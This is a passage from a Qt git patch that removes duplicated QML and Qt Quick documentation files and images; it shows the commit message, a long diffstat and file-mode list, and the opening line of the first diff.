From 09e624fa6b00855f5daa682fe8b9444e0e170d7f Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Thu, 24 May 2012 15:34:59 +1000 Subject: [PATCH] Remove duplicated doc files and images - Remove doc/ files which were duplicated under src/quick/doc and src/qml/doc - Remove duplicated images under src/doc/qml/images which were already under src/doc/quick/images - Merged 0102413396c91e97ed856235cd1a52f7185c4862 and 3b04bbde6356797368114fce1b45b85271e9fed8 which made it into doc/src but not src/qml/doc Change-Id: I275b7d29f9fc2222dcf801c257c1f67b5880446b Reviewed-by: Alan Alpert --- doc/src/qml/basictypes.qdoc | 678 ----------- doc/src/qml/c++models.qdoc | 208 ---- doc/src/qml/codingconventions.qdoc | 126 -- doc/src/qml/debugging.qdoc | 166 --- doc/src/qml/dynamicobjects.qdoc | 218 ---- doc/src/qml/extending-tutorial.qdoc | 498 -------- doc/src/qml/external-resources.qdoc | 35 - doc/src/qml/globalobject.qdoc | 41 - doc/src/qml/hostenvironment.qdoc | 92 -- doc/src/qml/integrating.qdoc | 108 -- doc/src/qml/javascriptblocks.qdoc | 562 --------- doc/src/qml/jsfunctionlist.qdoc | 347 ------ doc/src/qml/modules.qdoc | 532 --------- doc/src/qml/network.qdoc | 236 ---- doc/src/qml/performance.qdoc | 1113 ------------------ doc/src/qml/propertybinding.qdoc | 362 ------ doc/src/qml/qmlcomponents.qdoc | 194 --- doc/src/qml/qmldate.qdoc | 190 --- doc/src/qml/qmldocument.qdoc | 151 --- doc/src/qml/qmlengine.qdoc | 481 -------- doc/src/qml/qmlevents.qdoc | 130 --- doc/src/qml/qmli18n.qdoc | 95 -- doc/src/qml/qmlnumber.qdoc | 105 -- doc/src/qml/qmlplugins.qdoc | 133 --- doc/src/qml/qmlruntime.qdoc | 143 --- doc/src/qml/qmlsyntax.qdoc | 155 --- doc/src/qml/qmltest.qdoc | 108 -- doc/src/qml/qmltypes.qdoc | 787 ------------- doc/src/qml/qmlviewer.qdoc | 235 ---- doc/src/qml/qtbinding.qdoc | 667 ----------- doc/src/qml/qtjavascript.qdoc | 93 -- doc/src/qml/qtprogrammers.qdoc | 197 ---- doc/src/qml/qtqml.qdoc | 371 ------ doc/src/qml/scope.qdoc | 308 ----- doc/src/qml/security.qdoc | 81 -- doc/src/qtquick2/anchor-layout.qdoc | 143 --- doc/src/qtquick2/animation.qdoc | 266 ----- doc/src/qtquick2/basicelements.qdoc | 131 --- doc/src/qtquick2/behaviors-and-states.qdoc | 207 ---- doc/src/qtquick2/canvaspainting.qdoc | 44 - doc/src/qtquick2/elements.qdoc | 191 --- doc/src/qtquick2/focus.qdoc | 206 ---- doc/src/qtquick2/modelview.qdoc | 378 ------ doc/src/qtquick2/mouseevents.qdoc | 118 -- doc/src/qtquick2/positioners.qdoc | 140 --- doc/src/qtquick2/qmlintro.qdoc | 1234 -------------------- doc/src/qtquick2/qmltexthandling.qdoc | 73 -- doc/src/qtquick2/qtquick-intro.qdoc | 143 --- doc/src/qtquick2/qtquick.qdoc | 52 - doc/src/qtquick2/righttoleft.qdoc | 196 ---- doc/src/qtquick2/shaders.qdoc | 52 - doc/src/qtquick2/states.qdoc | 155 --- doc/src/qtquick2/whatsnew.qdoc | 167 --- doc/src/qtquick2/writingcomponents.qdoc | 498 -------- doc/src/snippets/qml/DynamicText.qml | 52 - doc/src/snippets/qml/folderlistmodel.qml | 61 - doc/src/snippets/qml/grid/grid-items.qml | 58 - doc/src/snippets/qml/grid/grid-no-spacing.qml | 57 - doc/src/snippets/qml/grid/grid-spacing.qml | 60 - doc/src/snippets/qml/qml-intro/images/qt-logo.svg | 104 -- doc/src/snippets/qml/qtBinding.1.qml | 55 - doc/src/snippets/qml/qtBinding.2.qml | 58 - doc/src/snippets/qml/qtBinding.3.qml | 63 - doc/src/snippets/qml/qtBinding.4.qml | 54 - .../snippets/qml/qtbinding/resources/example.qrc | 10 - .../snippets/qml/qtbinding/resources/resources.pro | 4 - doc/src/snippets/qml/script.js | 4 - .../qml/viewtransitions/viewtransitions-basic.qml | 70 -- .../viewtransitions-delayedbyindex.qml | 78 -- .../viewtransitions-intermediatemove.qml | 90 -- .../viewtransitions-interruptedgood.qml | 74 -- .../viewtransitions/viewtransitions-pathanim.qml | 105 -- .../viewtransitions-scriptactionbad.qml | 81 -- .../viewtransitions-scriptactiongood.qml | 84 -- doc/src/snippets/qml/xmlrole.xml | 14 - src/qml/doc/images/3d-rotation-axis.png | Bin 11078 -> 0 bytes src/qml/doc/images/ListViewHorizontal.png | Bin 5802 -> 0 bytes src/qml/doc/images/anchorchanges.png | Bin 566 -> 0 bytes src/qml/doc/images/animatedimageitem.gif | Bin 9997 -> 0 bytes src/qml/doc/images/axisrotation.png | Bin 8891 -> 0 bytes src/qml/doc/images/declarative-anchors_example.png | Bin 3654 -> 0 bytes .../doc/images/declarative-anchors_example2.png | Bin 3819 -> 0 bytes src/qml/doc/images/declarative-arcdirection.png | Bin 8422 -> 0 bytes src/qml/doc/images/declarative-arcradius.png | Bin 4535 -> 0 bytes src/qml/doc/images/declarative-gridmesh.png | Bin 9349 -> 0 bytes src/qml/doc/images/declarative-item_opacity1.png | Bin 464 -> 0 bytes src/qml/doc/images/declarative-item_opacity2.png | Bin 464 -> 0 bytes src/qml/doc/images/declarative-item_stacking1.png | Bin 460 -> 0 bytes src/qml/doc/images/declarative-item_stacking2.png | Bin 461 -> 0 bytes src/qml/doc/images/declarative-item_stacking3.png | Bin 464 -> 0 bytes src/qml/doc/images/declarative-item_stacking4.png | Bin 463 -> 0 bytes src/qml/doc/images/declarative-largearc.png | Bin 8340 -> 0 bytes src/qml/doc/images/declarative-nopercent.png | Bin 553 -> 0 bytes src/qml/doc/images/declarative-patharc.png | Bin 4827 -> 0 bytes src/qml/doc/images/declarative-pathattribute.png | Bin 7207 -> 0 bytes src/qml/doc/images/declarative-pathcubic.png | Bin 1261 -> 0 bytes src/qml/doc/images/declarative-pathcurve.png | Bin 6092 -> 0 bytes src/qml/doc/images/declarative-pathquad.png | Bin 1517 -> 0 bytes src/qml/doc/images/declarative-pathsvg.png | Bin 4233 -> 0 bytes src/qml/doc/images/declarative-percent.png | Bin 530 -> 0 bytes .../declarative-qtlogo-preserveaspectcrop.png | Bin 6440 -> 0 bytes .../declarative-qtlogo-preserveaspectfit.png | Bin 4076 -> 0 bytes src/qml/doc/images/declarative-qtlogo-stretch.png | Bin 5584 -> 0 bytes src/qml/doc/images/declarative-qtlogo-tile.png | Bin 3940 -> 0 bytes .../images/declarative-qtlogo-tilehorizontally.png | Bin 5544 -> 0 bytes .../images/declarative-qtlogo-tilevertically.png | Bin 6288 -> 0 bytes src/qml/doc/images/declarative-qtlogo.png | Bin 3436 -> 0 bytes src/qml/doc/images/declarative-rect.png | Bin 674 -> 0 bytes src/qml/doc/images/declarative-rect_gradient.png | Bin 873 -> 0 bytes src/qml/doc/images/declarative-rotation.png | Bin 667 -> 0 bytes src/qml/doc/images/declarative-scale.png | Bin 336 -> 0 bytes src/qml/doc/images/declarative-scalegrid.png | Bin 4228 -> 0 bytes .../doc/images/declarative-shadereffectitem.png | Bin 6557 -> 0 bytes .../doc/images/declarative-shadereffectsource.png | Bin 1133 -> 0 bytes src/qml/doc/images/declarative-text.png | Bin 3289 -> 0 bytes src/qml/doc/images/declarative-textedit.gif | Bin 15286 -> 0 bytes src/qml/doc/images/declarative-textformat.png | Bin 11498 -> 0 bytes src/qml/doc/images/declarative-textstyle.png | Bin 6825 -> 0 bytes src/qml/doc/images/declarative-transformorigin.png | Bin 8927 -> 0 bytes src/qml/doc/images/flickable.gif | Bin 185221 -> 0 bytes src/qml/doc/images/flipable.gif | Bin 131710 -> 0 bytes src/qml/doc/images/gridLayout_example.png | Bin 437 -> 0 bytes src/qml/doc/images/gridview-highlight.png | Bin 11806 -> 0 bytes .../images/gridview-layout-lefttoright-ltr-btt.png | Bin 8722 -> 0 bytes .../images/gridview-layout-lefttoright-ltr-ttb.png | Bin 7727 -> 0 bytes .../images/gridview-layout-lefttoright-rtl-btt.png | Bin 8725 -> 0 bytes .../images/gridview-layout-lefttoright-rtl-ttb.png | Bin 8693 -> 0 bytes .../images/gridview-layout-toptobottom-ltr-btt.png | Bin 8746 -> 0 bytes .../images/gridview-layout-toptobottom-ltr-ttb.png | Bin 8655 -> 0 bytes .../images/gridview-layout-toptobottom-rtl-btt.png | Bin 8746 -> 0 bytes .../images/gridview-layout-toptobottom-rtl-ttb.png | Bin 7657 -> 0 bytes src/qml/doc/images/gridview-simple.png | Bin 10149 -> 0 bytes .../doc/images/horizontalpositioner_example.png | Bin 292 -> 0 bytes src/qml/doc/images/imageprovider.png | Bin 420 -> 0 bytes src/qml/doc/images/layoutmirroring.png | Bin 2542 -> 0 bytes src/qml/doc/images/listview-highlight.png | Bin 5918 -> 0 bytes src/qml/doc/images/listview-layout-bottomtotop.png | Bin 5620 -> 0 bytes src/qml/doc/images/listview-layout-lefttoright.png | Bin 5859 -> 0 bytes src/qml/doc/images/listview-layout-righttoleft.png | Bin 5840 -> 0 bytes src/qml/doc/images/listview-layout-toptobottom.png | Bin 5587 -> 0 bytes src/qml/doc/images/listview-simple.png | Bin 5351 -> 0 bytes src/qml/doc/images/parentchange.png | Bin 509 -> 0 bytes src/qml/doc/images/pathview.gif | Bin 90512 -> 0 bytes src/qml/doc/images/positioner-example.png | Bin 7020 -> 0 bytes src/qml/doc/images/qeasingcurve-inback.png | Bin 2808 -> 0 bytes src/qml/doc/images/qeasingcurve-inbounce.png | Bin 3154 -> 0 bytes src/qml/doc/images/qeasingcurve-incirc.png | Bin 2605 -> 0 bytes src/qml/doc/images/qeasingcurve-incubic.png | Bin 2722 -> 0 bytes src/qml/doc/images/qeasingcurve-inelastic.png | Bin 3304 -> 0 bytes src/qml/doc/images/qeasingcurve-inexpo.png | Bin 2675 -> 0 bytes src/qml/doc/images/qeasingcurve-inoutback.png | Bin 3241 -> 0 bytes src/qml/doc/images/qeasingcurve-inoutbounce.png | Bin 3386 -> 0 bytes src/qml/doc/images/qeasingcurve-inoutcirc.png | Bin 2843 -> 0 bytes src/qml/doc/images/qeasingcurve-inoutcubic.png | Bin 2931 -> 0 bytes src/qml/doc/images/qeasingcurve-inoutelastic.png | Bin 3461 -> 0 bytes src/qml/doc/images/qeasingcurve-inoutexpo.png | Bin 3004 -> 0 bytes src/qml/doc/images/qeasingcurve-inoutquad.png | Bin 2893 -> 0 bytes src/qml/doc/images/qeasingcurve-inoutquart.png | Bin 2925 -> 0 bytes src/qml/doc/images/qeasingcurve-inoutquint.png | Bin 2823 -> 0 bytes src/qml/doc/images/qeasingcurve-inoutsine.png | Bin 2891 -> 0 bytes src/qml/doc/images/qeasingcurve-inquad.png | Bin 2733 -> 0 bytes src/qml/doc/images/qeasingcurve-inquart.png | Bin 2727 -> 0 bytes src/qml/doc/images/qeasingcurve-inquint.png | Bin 2630 -> 0 bytes src/qml/doc/images/qeasingcurve-insine.png | Bin 2567 -> 0 bytes src/qml/doc/images/qeasingcurve-linear.png | Bin 2318 -> 0 bytes src/qml/doc/images/qeasingcurve-outback.png | Bin 2852 -> 0 bytes src/qml/doc/images/qeasingcurve-outbounce.png | Bin 3360 -> 0 bytes src/qml/doc/images/qeasingcurve-outcirc.png | Bin 2796 -> 0 bytes src/qml/doc/images/qeasingcurve-outcubic.png | Bin 2792 -> 0 bytes src/qml/doc/images/qeasingcurve-outelastic.png | Bin 3423 -> 0 bytes src/qml/doc/images/qeasingcurve-outexpo.png | Bin 2803 -> 0 bytes src/qml/doc/images/qeasingcurve-outinback.png | Bin 3026 -> 0 bytes src/qml/doc/images/qeasingcurve-outinbounce.png | Bin 3629 -> 0 bytes src/qml/doc/images/qeasingcurve-outincirc.png | Bin 2822 -> 0 bytes src/qml/doc/images/qeasingcurve-outincubic.png | Bin 2872 -> 0 bytes src/qml/doc/images/qeasingcurve-outinelastic.png | Bin 3941 -> 0 bytes src/qml/doc/images/qeasingcurve-outinexpo.png | Bin 2923 -> 0 bytes src/qml/doc/images/qeasingcurve-outinquad.png | Bin 2858 -> 0 bytes src/qml/doc/images/qeasingcurve-outinquart.png | Bin 2830 -> 0 bytes src/qml/doc/images/qeasingcurve-outinquint.png | Bin 2724 -> 0 bytes src/qml/doc/images/qeasingcurve-outinsine.png | Bin 2817 -> 0 bytes src/qml/doc/images/qeasingcurve-outquad.png | Bin 2760 -> 0 bytes src/qml/doc/images/qeasingcurve-outquart.png | Bin 2764 -> 0 bytes src/qml/doc/images/qeasingcurve-outquint.png | Bin 2687 -> 0 bytes src/qml/doc/images/qeasingcurve-outsine.png | Bin 2773 -> 0 bytes .../doc/images/qml-borderimage-normal-image.png | Bin 5282 -> 0 bytes src/qml/doc/images/qml-borderimage-scaled.png | Bin 5580 -> 0 bytes src/qml/doc/images/qml-borderimage-tiled.png | Bin 5889 -> 0 bytes src/qml/doc/images/qml-flow-snippet.png | Bin 11465 -> 0 bytes src/qml/doc/images/qml-gradient.png | Bin 364 -> 0 bytes src/qml/doc/images/qml-grid-no-spacing.png | Bin 416 -> 0 bytes src/qml/doc/images/qml-grid-spacing.png | Bin 421 -> 0 bytes src/qml/doc/images/qml-item-canvas-arcTo.png | Bin 8917 -> 0 bytes src/qml/doc/images/qml-item-canvas-arcTo2.png | Bin 6532 -> 0 bytes .../doc/images/qml-item-canvas-bezierCurveTo.png | Bin 1261 -> 0 bytes src/qml/doc/images/qml-item-canvas-context.gif | Bin 4473 -> 0 bytes src/qml/doc/images/qml-item-canvas-math-rotate.png | Bin 3206 -> 0 bytes src/qml/doc/images/qml-item-canvas-math.png | Bin 1961 -> 0 bytes src/qml/doc/images/qml-item-canvas-rotate.png | Bin 8238 -> 0 bytes src/qml/doc/images/qml-item-canvas-scale.png | Bin 4988 -> 0 bytes src/qml/doc/images/qml-item-canvas-scalex.png | Bin 1023 -> 0 bytes src/qml/doc/images/qml-item-canvas-startAngle.png | Bin 10254 -> 0 bytes .../doc/images/qml-listview-sections-example.png | Bin 5491 -> 0 bytes src/qml/doc/images/qml-mousearea-snippet.png | Bin 780 -> 0 bytes src/qml/doc/images/qml-xmllistmodel-example.png | Bin 5252 -> 0 bytes src/qml/doc/images/rect-border-width.png | Bin 374 -> 0 bytes src/qml/doc/images/rect-color.png | Bin 570 -> 0 bytes src/qml/doc/images/rect-smooth.png | Bin 24241 -> 0 bytes src/qml/doc/images/repeater-index.png | Bin 3024 -> 0 bytes src/qml/doc/images/repeater-modeldata.png | Bin 3394 -> 0 bytes src/qml/doc/images/repeater-simple.png | Bin 404 -> 0 bytes src/qml/doc/images/repeater.png | Bin 800 -> 0 bytes src/qml/doc/images/translate.png | Bin 398 -> 0 bytes src/qml/doc/images/verticalpositioner_example.png | Bin 385 -> 0 bytes .../doc/images/verticalpositioner_transition.gif | Bin 12641 -> 0 bytes src/qml/doc/images/viewtransitions-basic.gif | Bin 49932 -> 0 bytes .../doc/images/viewtransitions-delayedbyindex.gif | Bin 69623 -> 0 bytes .../images/viewtransitions-intermediatemove.gif | Bin 109530 -> 0 bytes .../doc/images/viewtransitions-interruptedbad.gif | Bin 30112 -> 0 bytes .../doc/images/viewtransitions-interruptedgood.gif | Bin 38076 -> 0 bytes src/qml/doc/images/viewtransitions-pathanim.gif | Bin 43741 -> 0 bytes .../doc/images/viewtransitions-scriptactionbad.gif | Bin 49200 -> 0 bytes src/qml/doc/images/visualitemmodel.png | Bin 347 -> 0 bytes .../snippets/qml/codingconventions/myscript.js | 3 - .../qml/doc/snippets/qml/righttoleft.qml | 118 +- .../qml/doc}/snippets/qml/righttoleft/Child.qml | 0 src/qml/doc/src/qml/dynamicobjects.qdoc | 5 +- src/qml/doc/src/qml/performance.qdoc | 24 + .../quick/doc/snippets/qml/righttoleft/Child.qml | 15 +- tests/auto/quick/examples/tst_examples.cpp | 19 +- 230 files changed, 140 insertions(+), 15620 deletions(-) delete mode 100644 doc/src/qml/basictypes.qdoc delete mode 100644 doc/src/qml/c++models.qdoc delete mode 100644 doc/src/qml/codingconventions.qdoc delete mode 100644 doc/src/qml/debugging.qdoc delete mode 100644 doc/src/qml/dynamicobjects.qdoc delete mode 100644 doc/src/qml/extending-tutorial.qdoc delete mode 100644 doc/src/qml/external-resources.qdoc delete mode 100644 doc/src/qml/globalobject.qdoc delete mode 100644 doc/src/qml/hostenvironment.qdoc delete mode 100644 doc/src/qml/integrating.qdoc delete mode 100644 doc/src/qml/javascriptblocks.qdoc delete mode 100644 doc/src/qml/jsfunctionlist.qdoc delete mode 100644 doc/src/qml/modules.qdoc delete mode 100644 doc/src/qml/network.qdoc delete mode 100644 doc/src/qml/performance.qdoc delete mode 100644 doc/src/qml/propertybinding.qdoc delete mode 100644 doc/src/qml/qmlcomponents.qdoc delete mode 100644 doc/src/qml/qmldate.qdoc delete mode 100644 doc/src/qml/qmldocument.qdoc delete mode 100644 doc/src/qml/qmlengine.qdoc delete mode 100644 doc/src/qml/qmlevents.qdoc delete mode 100644 doc/src/qml/qmli18n.qdoc delete mode 100644 doc/src/qml/qmlnumber.qdoc delete mode 100644 doc/src/qml/qmlplugins.qdoc delete mode 100644 doc/src/qml/qmlruntime.qdoc delete mode 100644 doc/src/qml/qmlsyntax.qdoc delete mode 100644 doc/src/qml/qmltest.qdoc delete mode 100644 doc/src/qml/qmltypes.qdoc delete mode 100644 doc/src/qml/qmlviewer.qdoc delete mode 100644 doc/src/qml/qtbinding.qdoc delete mode 100644 doc/src/qml/qtjavascript.qdoc delete mode 100644 doc/src/qml/qtprogrammers.qdoc delete mode 100644 doc/src/qml/qtqml.qdoc delete mode 100644 doc/src/qml/scope.qdoc delete mode 100644 doc/src/qml/security.qdoc delete mode 100644 doc/src/qtquick2/anchor-layout.qdoc delete mode 100644 doc/src/qtquick2/animation.qdoc delete mode 100644 doc/src/qtquick2/basicelements.qdoc delete mode 100644 doc/src/qtquick2/behaviors-and-states.qdoc delete mode 100644 doc/src/qtquick2/canvaspainting.qdoc delete mode 100644 doc/src/qtquick2/elements.qdoc delete mode 100644 doc/src/qtquick2/focus.qdoc delete mode 100644 doc/src/qtquick2/modelview.qdoc delete mode 100644 doc/src/qtquick2/mouseevents.qdoc delete mode 100644 doc/src/qtquick2/positioners.qdoc delete mode 100644 doc/src/qtquick2/qmlintro.qdoc delete mode 100644 doc/src/qtquick2/qmltexthandling.qdoc delete mode 100644 doc/src/qtquick2/qtquick-intro.qdoc delete mode 100644 doc/src/qtquick2/qtquick.qdoc delete mode 100644 doc/src/qtquick2/righttoleft.qdoc delete mode 100644 doc/src/qtquick2/shaders.qdoc delete mode 100644 doc/src/qtquick2/states.qdoc delete mode 100644 doc/src/qtquick2/whatsnew.qdoc delete mode 100644 doc/src/qtquick2/writingcomponents.qdoc delete mode 100644 doc/src/snippets/qml/DynamicText.qml delete mode 100644 doc/src/snippets/qml/folderlistmodel.qml delete mode 100644 doc/src/snippets/qml/grid/grid-items.qml delete mode 100644 doc/src/snippets/qml/grid/grid-no-spacing.qml delete mode 100644 doc/src/snippets/qml/grid/grid-spacing.qml delete mode 100644 doc/src/snippets/qml/qml-intro/images/qt-logo.svg delete mode 100644 doc/src/snippets/qml/qtBinding.1.qml delete mode 100644 doc/src/snippets/qml/qtBinding.2.qml delete mode 100644 doc/src/snippets/qml/qtBinding.3.qml delete mode 100644 doc/src/snippets/qml/qtBinding.4.qml delete mode 100644 doc/src/snippets/qml/qtbinding/resources/example.qrc delete mode 100644 doc/src/snippets/qml/qtbinding/resources/resources.pro delete mode 100644 doc/src/snippets/qml/script.js delete mode 100644 doc/src/snippets/qml/viewtransitions/viewtransitions-basic.qml delete mode 100644 doc/src/snippets/qml/viewtransitions/viewtransitions-delayedbyindex.qml delete mode 100644 doc/src/snippets/qml/viewtransitions/viewtransitions-intermediatemove.qml delete mode 100644 doc/src/snippets/qml/viewtransitions/viewtransitions-interruptedgood.qml delete mode 100644 doc/src/snippets/qml/viewtransitions/viewtransitions-pathanim.qml delete mode 100644 doc/src/snippets/qml/viewtransitions/viewtransitions-scriptactionbad.qml delete mode 100644 doc/src/snippets/qml/viewtransitions/viewtransitions-scriptactiongood.qml delete mode 100644 doc/src/snippets/qml/xmlrole.xml delete mode 100644 src/qml/doc/images/3d-rotation-axis.png delete mode 100644 src/qml/doc/images/ListViewHorizontal.png delete mode 100644 src/qml/doc/images/anchorchanges.png delete mode 100644 src/qml/doc/images/animatedimageitem.gif delete mode 100644 src/qml/doc/images/axisrotation.png delete mode 100644 src/qml/doc/images/declarative-anchors_example.png delete mode 100644 src/qml/doc/images/declarative-anchors_example2.png delete mode 100644 src/qml/doc/images/declarative-arcdirection.png delete mode 100644 src/qml/doc/images/declarative-arcradius.png delete mode 100644 src/qml/doc/images/declarative-gridmesh.png delete mode 100644 src/qml/doc/images/declarative-item_opacity1.png delete mode 100644 src/qml/doc/images/declarative-item_opacity2.png delete mode 100644 src/qml/doc/images/declarative-item_stacking1.png delete mode 100644 src/qml/doc/images/declarative-item_stacking2.png delete mode 100644 src/qml/doc/images/declarative-item_stacking3.png delete mode 100644 src/qml/doc/images/declarative-item_stacking4.png delete mode 100644 src/qml/doc/images/declarative-largearc.png delete mode 100644 src/qml/doc/images/declarative-nopercent.png delete mode 100644 src/qml/doc/images/declarative-patharc.png delete mode 100644 src/qml/doc/images/declarative-pathattribute.png delete mode 100644 src/qml/doc/images/declarative-pathcubic.png delete mode 100644 src/qml/doc/images/declarative-pathcurve.png delete mode 100644 src/qml/doc/images/declarative-pathquad.png delete mode 100644 src/qml/doc/images/declarative-pathsvg.png delete mode 100644 src/qml/doc/images/declarative-percent.png delete mode 100644 src/qml/doc/images/declarative-qtlogo-preserveaspectcrop.png delete mode 100644 src/qml/doc/images/declarative-qtlogo-preserveaspectfit.png delete mode 100644 src/qml/doc/images/declarative-qtlogo-stretch.png delete mode 100644 src/qml/doc/images/declarative-qtlogo-tile.png delete mode 100644 src/qml/doc/images/declarative-qtlogo-tilehorizontally.png delete mode 100644 src/qml/doc/images/declarative-qtlogo-tilevertically.png delete mode 100644 src/qml/doc/images/declarative-qtlogo.png delete mode 100644 src/qml/doc/images/declarative-rect.png delete mode 100644 src/qml/doc/images/declarative-rect_gradient.png delete mode 100644 src/qml/doc/images/declarative-rotation.png delete mode 100644 src/qml/doc/images/declarative-scale.png delete mode 100644 src/qml/doc/images/declarative-scalegrid.png delete mode 100644 src/qml/doc/images/declarative-shadereffectitem.png delete mode 100644 src/qml/doc/images/declarative-shadereffectsource.png delete mode 100644 src/qml/doc/images/declarative-text.png delete mode 100644 src/qml/doc/images/declarative-textedit.gif delete mode 100644 src/qml/doc/images/declarative-textformat.png delete mode 100644 src/qml/doc/images/declarative-textstyle.png delete mode 100644 src/qml/doc/images/declarative-transformorigin.png delete mode 100644 src/qml/doc/images/flickable.gif delete mode 100644 src/qml/doc/images/flipable.gif delete mode 100644 src/qml/doc/images/gridLayout_example.png delete mode 100644 src/qml/doc/images/gridview-highlight.png delete mode 100644 src/qml/doc/images/gridview-layout-lefttoright-ltr-btt.png delete mode 100644 src/qml/doc/images/gridview-layout-lefttoright-ltr-ttb.png delete mode 100644 src/qml/doc/images/gridview-layout-lefttoright-rtl-btt.png delete mode 100644 src/qml/doc/images/gridview-layout-lefttoright-rtl-ttb.png delete mode 100644 src/qml/doc/images/gridview-layout-toptobottom-ltr-btt.png delete mode 100644 src/qml/doc/images/gridview-layout-toptobottom-ltr-ttb.png delete mode 100644 src/qml/doc/images/gridview-layout-toptobottom-rtl-btt.png delete mode 100644 src/qml/doc/images/gridview-layout-toptobottom-rtl-ttb.png delete mode 100644 src/qml/doc/images/gridview-simple.png delete mode 100644 src/qml/doc/images/horizontalpositioner_example.png delete mode 100644 src/qml/doc/images/imageprovider.png delete mode 100644 src/qml/doc/images/layoutmirroring.png delete mode 100644 src/qml/doc/images/listview-highlight.png delete mode 100644 src/qml/doc/images/listview-layout-bottomtotop.png delete mode 100644 src/qml/doc/images/listview-layout-lefttoright.png delete mode 100644 src/qml/doc/images/listview-layout-righttoleft.png delete mode 100644 src/qml/doc/images/listview-layout-toptobottom.png delete mode 100644 src/qml/doc/images/listview-simple.png delete mode 100644 src/qml/doc/images/parentchange.png delete mode 100644 src/qml/doc/images/pathview.gif delete mode 100644 src/qml/doc/images/positioner-example.png delete mode 100644 src/qml/doc/images/qeasingcurve-inback.png delete mode 100644 src/qml/doc/images/qeasingcurve-inbounce.png delete mode 100644 src/qml/doc/images/qeasingcurve-incirc.png delete mode 100644 src/qml/doc/images/qeasingcurve-incubic.png delete mode 100644 src/qml/doc/images/qeasingcurve-inelastic.png delete mode 100644 src/qml/doc/images/qeasingcurve-inexpo.png delete mode 100644 src/qml/doc/images/qeasingcurve-inoutback.png delete mode 100644 src/qml/doc/images/qeasingcurve-inoutbounce.png delete mode 100644 src/qml/doc/images/qeasingcurve-inoutcirc.png delete mode 100644 src/qml/doc/images/qeasingcurve-inoutcubic.png delete mode 100644 src/qml/doc/images/qeasingcurve-inoutelastic.png delete mode 100644 src/qml/doc/images/qeasingcurve-inoutexpo.png delete mode 100644 src/qml/doc/images/qeasingcurve-inoutquad.png delete mode 100644 src/qml/doc/images/qeasingcurve-inoutquart.png delete mode 100644 src/qml/doc/images/qeasingcurve-inoutquint.png delete mode 100644 src/qml/doc/images/qeasingcurve-inoutsine.png delete mode 100644 src/qml/doc/images/qeasingcurve-inquad.png delete mode 100644 src/qml/doc/images/qeasingcurve-inquart.png delete mode 100644 src/qml/doc/images/qeasingcurve-inquint.png delete mode 100644 src/qml/doc/images/qeasingcurve-insine.png delete mode 100644 src/qml/doc/images/qeasingcurve-linear.png delete mode 100644 src/qml/doc/images/qeasingcurve-outback.png delete mode 100644 src/qml/doc/images/qeasingcurve-outbounce.png delete mode 100644 src/qml/doc/images/qeasingcurve-outcirc.png delete mode 100644 src/qml/doc/images/qeasingcurve-outcubic.png delete mode 100644 src/qml/doc/images/qeasingcurve-outelastic.png delete mode 100644 src/qml/doc/images/qeasingcurve-outexpo.png delete mode 100644 src/qml/doc/images/qeasingcurve-outinback.png delete mode 100644 src/qml/doc/images/qeasingcurve-outinbounce.png delete mode 100644 src/qml/doc/images/qeasingcurve-outincirc.png delete mode 100644 src/qml/doc/images/qeasingcurve-outincubic.png delete mode 100644 src/qml/doc/images/qeasingcurve-outinelastic.png delete mode 100644 src/qml/doc/images/qeasingcurve-outinexpo.png delete mode 100644 src/qml/doc/images/qeasingcurve-outinquad.png delete mode 100644 src/qml/doc/images/qeasingcurve-outinquart.png delete mode 100644 src/qml/doc/images/qeasingcurve-outinquint.png delete mode 100644 src/qml/doc/images/qeasingcurve-outinsine.png delete mode 100644 src/qml/doc/images/qeasingcurve-outquad.png delete mode 100644 src/qml/doc/images/qeasingcurve-outquart.png delete mode 100644 src/qml/doc/images/qeasingcurve-outquint.png delete mode 100644 src/qml/doc/images/qeasingcurve-outsine.png delete mode 100644 src/qml/doc/images/qml-borderimage-normal-image.png delete mode 100644 src/qml/doc/images/qml-borderimage-scaled.png delete mode 100644 src/qml/doc/images/qml-borderimage-tiled.png delete mode 100644 src/qml/doc/images/qml-flow-snippet.png delete mode 100644 src/qml/doc/images/qml-gradient.png delete mode 100644 src/qml/doc/images/qml-grid-no-spacing.png delete mode 100644 src/qml/doc/images/qml-grid-spacing.png delete mode 100644 src/qml/doc/images/qml-item-canvas-arcTo.png delete mode 100644 src/qml/doc/images/qml-item-canvas-arcTo2.png delete mode 100644 src/qml/doc/images/qml-item-canvas-bezierCurveTo.png delete mode 100644 src/qml/doc/images/qml-item-canvas-context.gif delete mode 100644 src/qml/doc/images/qml-item-canvas-math-rotate.png delete mode 100644 src/qml/doc/images/qml-item-canvas-math.png delete mode 100644 src/qml/doc/images/qml-item-canvas-rotate.png delete mode 100644 src/qml/doc/images/qml-item-canvas-scale.png delete mode 100644 src/qml/doc/images/qml-item-canvas-scalex.png delete mode 100644 src/qml/doc/images/qml-item-canvas-startAngle.png delete mode 100644 src/qml/doc/images/qml-listview-sections-example.png delete mode 100644 src/qml/doc/images/qml-mousearea-snippet.png delete mode 100644 src/qml/doc/images/qml-xmllistmodel-example.png delete mode 100644 src/qml/doc/images/rect-border-width.png delete mode 100644 src/qml/doc/images/rect-color.png delete mode 100644 src/qml/doc/images/rect-smooth.png delete mode 100644 src/qml/doc/images/repeater-index.png delete mode 100644 src/qml/doc/images/repeater-modeldata.png delete mode 100644 src/qml/doc/images/repeater-simple.png delete mode 100644 src/qml/doc/images/repeater.png delete mode 100644 src/qml/doc/images/translate.png delete mode 100644 src/qml/doc/images/verticalpositioner_example.png delete mode 100644 src/qml/doc/images/verticalpositioner_transition.gif delete mode 100644 src/qml/doc/images/viewtransitions-basic.gif delete mode 100644 src/qml/doc/images/viewtransitions-delayedbyindex.gif delete mode 100644 src/qml/doc/images/viewtransitions-intermediatemove.gif delete mode 100644 src/qml/doc/images/viewtransitions-interruptedbad.gif delete mode 100644 src/qml/doc/images/viewtransitions-interruptedgood.gif delete mode 100644 src/qml/doc/images/viewtransitions-pathanim.gif delete mode 100644 src/qml/doc/images/viewtransitions-scriptactionbad.gif delete mode 100644 src/qml/doc/images/visualitemmodel.png rename {doc/src => src/qml/doc}/snippets/qml/codingconventions/myscript.js (78%) rename doc/src/snippets/qml/xmlrole.qml => src/qml/doc/snippets/qml/righttoleft.qml (55%) rename {doc/src => src/qml/doc}/snippets/qml/righttoleft/Child.qml (100%) rename doc/src/snippets/qml/listview/listview-snippet.qml => src/quick/doc/snippets/qml/righttoleft/Child.qml (91%) diff --git a/doc/src/qml/basictypes.qdoc b/doc/src/qml/basictypes.qdoc deleted file mode 100644 index c9998fe..0000000 --- a/doc/src/qml/basictypes.qdoc +++ /dev/null @@ -1,678 +0,0 